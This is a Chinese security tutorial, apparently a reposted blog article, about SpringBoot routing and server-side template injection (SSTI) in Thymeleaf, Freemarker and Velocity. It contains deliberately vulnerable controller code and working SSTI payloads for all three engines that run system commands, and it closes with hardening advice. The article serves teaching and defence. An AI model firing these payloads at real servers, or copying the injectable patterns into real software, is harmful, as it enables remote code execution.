文章总结: 本文介绍了SpringBoot路由与传参基础,深入剖析Thymeleaf、Freemarker和Velocity三种模板引擎的使用方法及其潜在的安全风险。重点展示了服务端模板注入(SSTI)的漏洞成因与POC利用方式,并提出了更新版本、避免动态路径拼接、严格校验输入等安全防护建议,旨在帮助开发者构建安全的Web应用。 综合评分: 80 文章分类: 漏洞分析,WEB安全,应用安全,代码审计,安全建设
第49天-SpringBoot开发与模板引擎安全风险
原创
萧瑶 萧瑶
AlphaNet
2026年2月24日 11:03 韩国
引言
在JavaEE开发中,SpringBoot以其简洁的配置和强大的生态成为构建Web应用的首选框架。而模板引擎(如Thymeleaf、Freemarker、Velocity)则负责将后端数据渲染为动态HTML页面。然而,当模板引擎使用不当时,可能引入严重的安全漏洞(如服务端模板注入SSTI)。本文将带你快速掌握SpringBoot的路由与传参基础,并深入剖析三大模板引擎的使用方法及其潜在风险。
一、SpringBoot基础:路由与传参
- 路由映射
SpringBoot通过注解定义HTTP路由:
· @RequestMapping:可定义任意方法(GET/POST/PUT等),支持路径、方法类型等属性。
· @GetMapping、@PostMapping等:简化写法,等价于@RequestMapping(method = RequestMethod.GET)。
示例:
@RestController
public class DemoController {
@GetMapping("/hello")
public String hello() {
return "Hello World";
}
}
- 参数传递
使用@RequestParam获取请求参数(URL中的query参数或表单数据):
@GetMapping("/user")
public String getUser(@RequestParam String name) {
return "User: " + name;
}
访问 /user?name=Tom 返回 User: Tom。
- 数据响应
· @Controller:返回视图名称(配合模板引擎)。
· @RestController:相当于@Controller+@ResponseBody,直接返回JSON/字符串,不进行视图解析。
二、模板引擎的使用与漏洞分析
- Thymeleaf
快速开始
步骤:
-
新建SpringBoot项目,勾选 Spring Web 和 Thymeleaf。
-
配置文件 application.properties 关闭缓存(开发环境):
spring.thymeleaf.cache=false
- 在 src/main/resources/templates 下创建HTML模板文件,如 index.html:
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<p th:text="${data}">默认内容</p>
</body>
</html>
- 创建Controller:
@Controller
public class IndexController {
@RequestMapping("/index")
public String index(Model model) {
model.addAttribute("data", "你好 小迪");
return "index"; // 对应 index.html
}
@RequestMapping("/indexs")
public String index(Model model, @RequestParam String lang) {
model.addAttribute("data", "Hello xiaodi");
return "index-" + lang; // 动态拼接模板名
}
}
漏洞示例(SSTI)
利用条件: 使用存在漏洞的Thymeleaf版本,且模板名或模板内容可控。
POC(命令执行):
\_\_$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d\_\_::.x
当访问 /indexs?lang=__${…}__::.x 时,若模板名被拼接并直接渲染,攻击者可注入表达式执行任意代码。
- Freemarker
快速开始
步骤:
-
新建SpringBoot项目,勾选 Spring Web 和 Freemarker。
-
关闭缓存:
spring.freemarker.cache=false
- 在 templates 目录下创建 .ftl 文件,如 index.ftl:
<html>
<body>
<h1>${data}</h1>
</body>
</html>
- Controller示例:
@Controller
public class FreemarkerController {
@RequestMapping("/freemarker")
public String freemarker(Model model, @RequestParam String content) {
model.addAttribute("data", content);
return "index"; // 渲染 index.ftl
}
}
漏洞示例
利用条件: 可控的模板内容或模板文件。
POC(多种利用方式):
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}
<@value>import os;os.system("calc.exe")</@value>
若模板内容(如 content 参数)被直接嵌入模板渲染,攻击者可构造恶意模板代码执行系统命令。
- Velocity
快速开始
依赖:
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
两种使用方式:
-
Velocity.evaluate 直接渲染字符串模板。
-
template.merge(ctx, out) 合并数据模型与模板文件。
漏洞示例
利用条件: Velocity版本存在漏洞,且模板变量或模板内容可控。
POC(命令执行):
%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
URL编码后传入参数,若服务端使用Velocity解析该字符串,将触发命令执行。
三、安全建议与总结
风险点回顾
· Thymeleaf:动态拼接模板名可能导致表达式注入。
· Freemarker:模板内容可控时可执行任意Java代码。
· Velocity:旧版本存在模板注入漏洞。
防护措施
-
及时更新版本:使用最新稳定版,修复已知漏洞。
-
避免动态模板路径:不要将用户输入直接拼接到模板名中。
-
严格校验输入:对用户输入进行过滤,禁止传入模板语法关键字。
-
禁用危险内置对象:如Freemarker可配置 templateExceptionHandler 限制危险指令。
-
最小权限原则:运行应用的账户不应拥有过高系统权限。
总结
SpringBoot与模板引擎的组合极大提升了开发效率,但安全意识不可松懈。理解底层渲染机制,关注安全公告,才能构建既高效又安全的Web应用。
参考资料
· SpringBoot官方文档:https://springdoc.cn/spring-boot/
· Thymeleaf漏洞分析:https://xz.aliyun.com/news/9962
· Freemarker安全研究:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew
· Velocity漏洞示例:https://blog.csdn.net/2401_83799022/article/details/141600988
本文仅供技术学习与安全研究使用,请勿用于非法用途。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第49天-SpringBoot开发与模板引擎安全风险》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论